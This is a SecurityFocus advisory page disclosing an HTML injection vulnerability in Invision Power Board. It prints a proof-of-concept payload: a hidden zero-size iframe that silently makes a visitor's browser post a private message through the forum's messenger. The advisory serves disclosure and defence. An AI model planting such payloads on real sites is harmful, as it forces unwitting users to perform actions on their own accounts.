Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Invision Power Board HTML Injection Vulnerability

An exploit is not required to leverage this issue.

The following proof of concept is available:

<iframe id="frame1" name="frame1" frameborder=0 width=0 height=0
src="http://www.example.com/forums/index.php?act=Msg&CODE=04&MODE=1&entered_name=Woody&msg_title=hi&Post=I%20love%20you!">
</iframe>







 

Privacy Statement
Copyright 2008, SecurityFocus